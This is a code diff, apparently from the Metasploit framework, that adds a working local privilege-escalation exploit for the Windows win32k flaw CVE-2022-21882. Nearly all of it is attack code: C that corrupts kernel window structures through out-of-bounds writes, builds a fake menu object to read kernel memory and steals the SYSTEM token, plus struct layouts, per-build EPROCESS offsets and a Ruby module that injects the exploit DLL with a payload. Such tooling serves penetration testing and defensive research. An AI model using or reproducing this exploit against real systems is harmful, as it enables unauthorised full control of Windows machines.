dprintf("hWnd[0]: 0x%08x 0x%p", g_hWnd[0], g_pWnd[0]);
dprintf("hWnd[1]: 0x%08x 0x%p", g_hWnd[1], g_pWnd[1]);
dprintf("hMagicWnd: 0x%08x 0x%p", g_hWnd[2], g_pWnd[2]);
extra_to_wnd1_offset = 0;
extra_to_wnd2_offset = 0;
if (g_pWnd[0]->pExtraBytes < g_pWnd[1]->OffsetToDesktopHeap) {
extra_to_wnd1_offset = g_pWnd[1]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
}
if (g_pWnd[0]->pExtraBytes < g_pWnd[2]->OffsetToDesktopHeap) {
extra_to_wnd2_offset = g_pWnd[2]->OffsetToDesktopHeap - g_pWnd[0]->pExtraBytes;
}
Sleep(250); // this small delay seems to improve reliability
if (!extra_to_wnd1_offset || !extra_to_wnd2_offset) {
DestroyWindow(g_hWnd[0]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(g_hWnd[2]);
dprintf("Unexpected memory layout, %s %d/5", (j < 4) ? "retrying" : "exiting", j + 1);
if (j == 4) {
LocalFree(g_pFakeMenu);
return 0;
}
continue;
}
dprintf("Offset of tagWND0->pExtraBytes and tagWND1 = %x", extra_to_wnd1_offset);
dprintf("Offset of tagWND0->pExtraBytes and tagWND2 = %x", extra_to_wnd2_offset);
break;
}
g_extra_to_wnd1_offset = extra_to_wnd1_offset;
if (g_dwBuild < BYPASS_BUILD) {
SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra), 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
} else {
InstallHooks();
// Trigger xxxSwitchWndProc -> xxxValidateClassAndSize to call our usermode callbacks
NtUserMessageCall(g_hWnd[2], WM_CREATE, 0, 0, 0, 0, 0);
// Now magic window's pExtraBytes points to tagWND0
SetWindowLong(g_hWnd[2], offsetof(tagWND, cbWndExtra) + 0x10, 0xffffffff); // Use OOB to set g_pWnd[0]->cbWndExtra = 0xffffffff
}
// Set WS_CHILD to set spmenu with GWLP_ID
DWORD style = g_pWnd[1]->dwStyle;
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD); // Use OOB to set g_pWnd[1]->dwStyle |= WS_CHILD
ULONG_PTR pMenu = SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)g_pFakeMenu); // Set fake spmenu and leak its kernel address
// Remove WS_CHILD to use GetMenuBarInfo
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);
dprintf("pWnd[1]->spmenu = %llx", pMenu);
if (pMenu) {
// Token stealing
ULONG_PTR ptr = KernelRead(pMenu + offsetof(tagMENU, spwndNotify)); // pmenu->spwndNotify (tagWND)
ptr = KernelRead(ptr + 0x10); // pwnd->pti (THREADINFO)
ptr = KernelRead(ptr + 0x1a0); // pti->ppi (PROCESSINFO)
ptr = KernelRead(ptr); // ppi.W32PROCESS.peProcess
dprintf("Current EPROCESS = %llx", ptr);
if (ptr) {
// there is a small possibility that the exploit process up until now has failed and that EProcess is zero
UpgradeToken(ptr);
ExecutePayload(pPayload);
dprintf("The payload has been executed");
}
}
// Fix corrupted tagWND
PVOID pExtraBytes = LocalAlloc(LMEM_ZEROINIT, g_dwRandom);
SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, pExtraBytes)), (ULONG_PTR)pExtraBytes);
SetWindowLongPtr(g_hWnd[0], (int)(extra_to_wnd2_offset + offsetof(tagWND, dwExtraFlag)), g_pWnd[2]->dwExtraFlag & ~0x800);
style = g_pWnd[1]->dwStyle;
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style | WS_CHILD);
SetWindowLongPtr(g_hWnd[1], GWLP_ID, (ULONG_PTR)pMenu); // tagWND1->spmenu = pmenu
SetWindowLong(g_hWnd[0], (int)(extra_to_wnd1_offset + offsetof(tagWND, dwStyle)), style);
DestroyWindow(g_hWnd[2]);
DestroyWindow(g_hWnd[1]);
DestroyWindow(g_hWnd[0]);
UninstallHooks();
LocalFree(g_pFakeMenu);
return 0;
}

View File

@ -0,0 +1,48 @@
#pragma once
#include <windows.h>
#include <intrin.h>
// Kernel tagWND
#pragma pack(1)
typedef struct _tagWND
{
HWND hWnd; // + 0x00
ULONG64 OffsetToDesktopHeap; // + 0x08
ULONG64 state; // + 0x10
DWORD dwExStyle; // + 0x18
DWORD dwStyle; // + 0x1C
BYTE gap[0xa8];
ULONG64 cbWndExtra; // + 0xC8
BYTE gap2[0x18];
DWORD dwExtraFlag; // + 0xE8
BYTE gap3[0x3c];
ULONG64 pExtraBytes; // + 0x128
} tagWND;
typedef tagWND* ptagWND;
#pragma pack(1)
typedef struct _tagMENU
{
ULONG64 field_0;
ULONG64 field_8;
ULONG64 field_10;
ULONG64 field_18;
ULONG64 field_20;
ULONG64 obj28;
ULONG64 field_30;
ULONG64 field_38;
DWORD cxMenu;
DWORD cyMenu;
ULONG64 field_48;
ULONG64 spwndNotify; // + 0x50
ULONG64 rgItems; // + 0x58
ULONG64 field_60;
ULONG64 field_68;
ULONG64 field_70;
ULONG64 field_78;
ULONG64 field_80;
ULONG64 field_88;
ULONG64 field_90;
PVOID *ref; // + 0x98
} tagMENU;
typedef tagMENU* ptagMENU;

View File

@ -59,8 +59,14 @@ const static EPROCESS_OFFSETS EprocessOffsetsWin10v1903 = { 0x2f0, 0x360, 0x2e8
const static EPROCESS_OFFSETS EprocessOffsetsWin10v1909 = { 0x2f0, 0x360, 0x2e8 };
/* Windows 10 v2004 / 20H1 (10.0.19041) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2004%2020H1%20(May%202020%20Update)/_EPROCESS */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v2004 = { 0x448, 0x4b8, 0x440 };
/* Windows 10 v2009 / 20H2 (10.0.19041) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2009%2020H2%20(October%202020%20Update)/_EPROCESS */
#define EprocessOffsetsWin10v20H1 EprocessOffsetsWin10v2004
/* Windows 10 v2009 / 20H2 (10.0.19042) - https://www.vergiliusproject.com/kernels/x64/Windows%2010%20%7C%202016/2009%2020H2%20(October%202020%20Update)/_EPROCESS */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v2009 = { 0x448, 0x4b8, 0x440 };
#define EprocessOffsetsWin10v20H2 EprocessOffsetsWin10v2009
/* Windows 10 v21H1 (10.0.19043) */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H1 = { 0x448, 0x4b8, 0x440 };
/* Windows 10 v21H2 (10.0.19044) */
const static EPROCESS_OFFSETS EprocessOffsetsWin10v21H2 = { 0x448, 0x4b8, 0x440 };
#endif
/*

View File

@ -130,6 +130,22 @@ typedef NTSTATUS(__stdcall* fNtUserConsoleControl)(
ULONG ConsoleCtrlInfoLength
);
typedef NTSTATUS(__stdcall* fNtUserMessageCall)(
HWND hWnd,
UINT msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR ResultInfo,
DWORD dwType,
BOOL bAscii
);
typedef PVOID(__stdcall* fRtlAllocateHeap)(
PVOID HeapHandle,
ULONG Flags,
SIZE_T Size
);
typedef VOID(__stdcall* fRtlGetNtVersionNumbers)(
DWORD* MajorVersion,
DWORD* MinorVersion,

View File

@ -0,0 +1,102 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
{
'Name' => '',
'Description' => %q{
},
'License' => MSF_LICENSE,
'Author' => [
'L4ys', # github poc
'KaLendsi', # github poc
'Spencer McIntyre' # metasploit module
],
'Arch' => [ ARCH_X64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread'
},
'Targets' => [
[ 'Windows 10 v20H2-21H2 x64', { 'Arch' => ARCH_X64 } ]
],
'Payload' => {
'DisableNops' => true
},
'References' => [
[ 'CVE', '2022-21882' ],
[ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ],
[ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ]
],
'DisclosureDate' => '',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_OS_RESTARTS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'SideEffects' => [],
'RelatedModules' => [
# this module exploits the original vulnerability for which this is a patch bypass
'exploit/windows/local/cve_2021_1732_win32k'
]
}
}
)
)
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return Exploit::CheckCode::Safe
end
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Windows Build Number = #{build_num}")
unless sysinfo_value =~ /10/ && (build_num >= 17043 && build_num <= 19044)
print_error('The exploit only supports Windows 10 versions 1803 - 21H2')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
encoded_payload = payload.encoded
execute_dll(
::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'),
[encoded_payload.length].pack('I<') + encoded_payload
)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end